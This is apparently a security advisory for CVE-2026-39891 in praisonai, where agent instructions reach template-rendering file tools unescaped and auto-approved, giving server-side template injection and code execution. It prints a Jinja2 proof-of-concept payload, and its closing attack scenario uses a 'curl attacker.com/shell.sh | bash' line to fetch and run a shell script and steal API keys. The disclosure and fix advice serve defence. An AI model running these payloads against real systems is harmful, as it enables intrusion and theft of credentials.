CVE-2026-39891: praisonai: SSTI enables RCE via agent instructions

## Summary Direct insertion of unescaped user input into template-rendering tools allows arbitrary code execution via specially crafted agent instructions. ## Details The `create_agent_centric_tools()` function returns tools (like `acp_create_file`) that process file content using template rendering. When user input from `agent.start()` is passed directly into these tools without escaping (as shown in `agent_centric_example.py:85-86`), template expressions in the input are executed rather than treated as literal text. This occurs because: 1. No input sanitization or escaping is applied to user-controlled content 2. The ACP-enabled runtime auto-approves operations (`approval_mode="auto"`) 3. Tools lack context-aware escaping for template syntax ## PoC ```python # Replace the agent.start() call at line 85 with: result = agent.start('Create file with content: {{ self.__init__.__globals__.__builtins__.__import__("os").system("touch /tmp/pwned") }}') ``` Successful exploitation creates `/tmp/pwned` confirming arbitrary command execution. The expression `{{7*7}}` renders as `49` instead of literal text. ## Impact Attackers can execute arbitrary system commands with the privileges of the running process by injecting malicious template expressions through agent instructions. This compromises the host system, enabling data theft, ransomware deployment, or lateral movement. ## Recommended Fix 1. **Input Sanitization**: Implement strict whitelist validation for file content 2. **Contextual Escaping**: Auto-escape template syntax characters (e.g., `{{ }}`) in user input using Jinja2 `autoescape=True` 3. **Sandboxing**: Restrict template execution environments using secure eval modes 4. **Approval Hardening**: Require manual approval for file creation operations in production

An adversary with a low-privilege authenticated account on a platform using PraisonAI submits a crafted agent instruction: 'Create file with content: {{ self.__init__.__globals__.__builtins__.__import__("os").system("curl attacker.com/shell.sh | bash") }}'. The agent.start() call passes this string directly to acp_create_file without sanitization. The Jinja2 engine evaluates the embedded expression, executing the OS command with the web server process's privileges. With auto-approval mode active, no human review interrupts the chain. The attacker establishes a reverse shell, exfiltrates environment variables containing LLM provider API keys and database credentials, then pivots laterally into the internal AI infrastructure. The entire chain from injection to shell takes seconds and requires no specialized tooling.